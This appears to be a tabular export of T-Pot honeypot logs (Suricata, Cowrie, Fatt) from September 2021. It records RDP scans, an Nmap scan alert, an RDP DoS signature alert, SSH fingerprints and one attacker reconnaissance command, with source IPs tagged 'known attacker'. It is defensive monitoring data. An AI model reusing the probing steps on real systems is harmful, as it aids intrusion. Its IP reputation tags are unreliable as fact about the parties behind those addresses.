28822	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:43.60711+03	2021-09-20 14:30:03.334524+03	{"_id": "SgbvAnwBvYTbRNuE1DHv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:43.532817+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1483107749011793, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 33645, "dest_port": 3389, "timestamp": "2021-09-20T11:20:43.607110Z", "@timestamp": "2021-09-20T11:20:43.607Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28823	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:43.763097+03	2021-09-20 14:30:03.335524+03	{"_id": "SwbvAnwBvYTbRNuE1DHv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:43.532817+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1483107749011793, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 33645, "dest_port": 3389, "timestamp": "2021-09-20T11:20:43.763097Z", "@timestamp": "2021-09-20T11:20:43.763Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28824	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:20:43.60711+03	2021-09-20 14:30:03.336525+03	{"_id": "TAbvAnwBvYTbRNuE1TEo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:43.532817+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1483107749011793, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 33645, "dest_port": 3389, "timestamp": "2021-09-20T11:20:43.607110Z", "@timestamp": "2021-09-20T11:20:43.607Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28825	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:43.68966+03	2021-09-20 14:30:03.338523+03	{"_id": "TgbvAnwBvYTbRNuE1TEo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:43.532817+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 1483107749011793, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 33645, "timestamp": "2021-09-20T11:20:43.689660Z", "@timestamp": "2021-09-20T11:20:43.689Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28826	87.251.67.120	109.199.241.180	Fatt	2021-09-20 14:20:43.60711+03	2021-09-20 14:30:03.339523+03	{"_id": "TwbvAnwBvYTbRNuE1jEs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "src_ip": "87.251.67.120", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 33645, "dest_port": 3389, "timestamp": "2021-09-20T11:20:43.607110", "@timestamp": "2021-09-20T11:20:43.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
28827	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:52.000363+03	2021-09-20 14:30:03.340523+03	{"_id": "VgbvAnwBvYTbRNuE-DEa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:49.813603+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 259, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 178285943548451, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 50021, "timestamp": "2021-09-20T11:20:52.000363Z", "@timestamp": "2021-09-20T11:20:52.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28828	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:53.000273+03	2021-09-20 14:30:03.341523+03	{"_id": "VwbvAnwBvYTbRNuE_DED", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:52.728001+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 2131942012623809, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 46796, "timestamp": "2021-09-20T11:20:53.000273Z", "@timestamp": "2021-09-20T11:20:53.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28829	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:20:54.749842+03	2021-09-20 14:30:03.343523+03	{"_id": "YwbvAnwBvYTbRNuE_jE6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c7ccca328432", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:20:54.749842Z", "@timestamp": "2021-09-20T11:20:54.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28830	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:20:54.892877+03	2021-09-20 14:30:03.344523+03	{"_id": "ZAbvAnwBvYTbRNuE_jE8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c7ccca328432", "@version": "1", "timestamp": "2021-09-20T11:20:54.892877Z", "@timestamp": "2021-09-20T11:20:54.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28831	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:20:54.74842+03	2021-09-20 14:30:03.345569+03	{"_id": "ZQbvAnwBvYTbRNuE_jE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.173.209.238:42034 (192.168.176.2:22) [session: c7ccca328432]", "session": "c7ccca328432", "@version": "1", "protocol": "ssh", "src_port": 42034, "dest_port": 22, "timestamp": "2021-09-20T11:20:54.748420Z", "@timestamp": "2021-09-20T11:20:54.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28832	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:20:54.935984+03	2021-09-20 14:30:03.346524+03	{"_id": "ZgbvAnwBvYTbRNuE_jE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:39974 (192.168.176.2:22) [session: 05bf291454a3]", "session": "05bf291454a3", "@version": "1", "protocol": "ssh", "src_port": 39974, "dest_port": 22, "timestamp": "2021-09-20T11:20:54.935984Z", "@timestamp": "2021-09-20T11:20:54.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28833	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:20:54.938915+03	2021-09-20 14:30:03.348523+03	{"_id": "ZwbvAnwBvYTbRNuE_jE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "05bf291454a3", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:20:54.938915Z", "@timestamp": "2021-09-20T11:20:54.938Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28834	103.207.38.214	109.199.241.180	Suricata	2021-09-20 14:20:37.459036+03	2021-09-20 14:30:03.349523+03	{"_id": "FAbvAnwBvYTbRNuEvTF6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:37.051479+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 58, "bytes_toserver": 120}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "cve_id": "CVE-2012-0152", "category": "Attempted Denial of Service", "metadata": {"created_at": ["2012_03_13"], "updated_at": ["2012_03_13"]}, "severity": 2, "signature": "ET DOS Microsoft Remote Desktop (RDP) Syn then Reset 30 Second DoS Attempt", "signature_id": 2014384}, "geoip": {"ip": "103.207.38.214", "asn": 45899, "as_org": "VNPT Corp", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "103.207.38.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 950697160198423, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 45643, "dest_port": 3389, "timestamp": "2021-09-20T11:20:37.459036Z", "@timestamp": "2021-09-20T11:20:37.459Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
28835	103.207.38.214	109.199.241.180	Suricata	2021-09-20 14:20:37.051479+03	2021-09-20 14:30:03.350524+03	{"_id": "DwbvAnwBvYTbRNuEuTGS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:37.051479+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 3, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN NMAP -sS window 1024", "signature_id": 2009582}, "geoip": {"ip": "103.207.38.214", "asn": 45899, "as_org": "VNPT Corp", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "103.207.38.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 950697160198423, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 45643, "dest_port": 3389, "timestamp": "2021-09-20T11:20:37.051479Z", "@timestamp": "2021-09-20T11:20:37.051Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
28836	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:29.081329+03	2021-09-20 14:30:03.352523+03	{"_id": "CAbvAnwBvYTbRNuEnDGG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "117.22.230.94", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5510609149932861, "duplicate": true, "timestamp": "2021-09-20T11:20:29.081329Z", "@timestamp": "2021-09-20T11:20:29.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28837	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:29.440137+03	2021-09-20 14:30:03.353523+03	{"_id": "CQbvAnwBvYTbRNuEnDGG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:29.440137Z", "@timestamp": "2021-09-20T11:20:29.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28838	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:29.440671+03	2021-09-20 14:30:03.354524+03	{"_id": "CgbvAnwBvYTbRNuEnDGG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:29.440671Z", "@timestamp": "2021-09-20T11:20:29.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28839	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:30.195464+03	2021-09-20 14:30:03.356524+03	{"_id": "DAbvAnwBvYTbRNuEoDFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "117.22.230.94", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.7554178237915039, "duplicate": true, "timestamp": "2021-09-20T11:20:30.195464Z", "@timestamp": "2021-09-20T11:20:30.195Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28840	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:30.200393+03	2021-09-20 14:30:03.357524+03	{"_id": "CwbvAnwBvYTbRNuEoDFv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 35 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 35.511210918426514, "timestamp": "2021-09-20T11:20:30.200393Z", "@timestamp": "2021-09-20T11:20:30.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28841	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:20:48.622157+03	2021-09-20 14:30:03.358524+03	{"_id": "UgbvAnwBvYTbRNuE5jHG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "4b1b382aa686", "@version": "1", "duration": 180.28576135635376, "timestamp": "2021-09-20T11:20:48.622157Z", "@timestamp": "2021-09-20T11:20:48.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
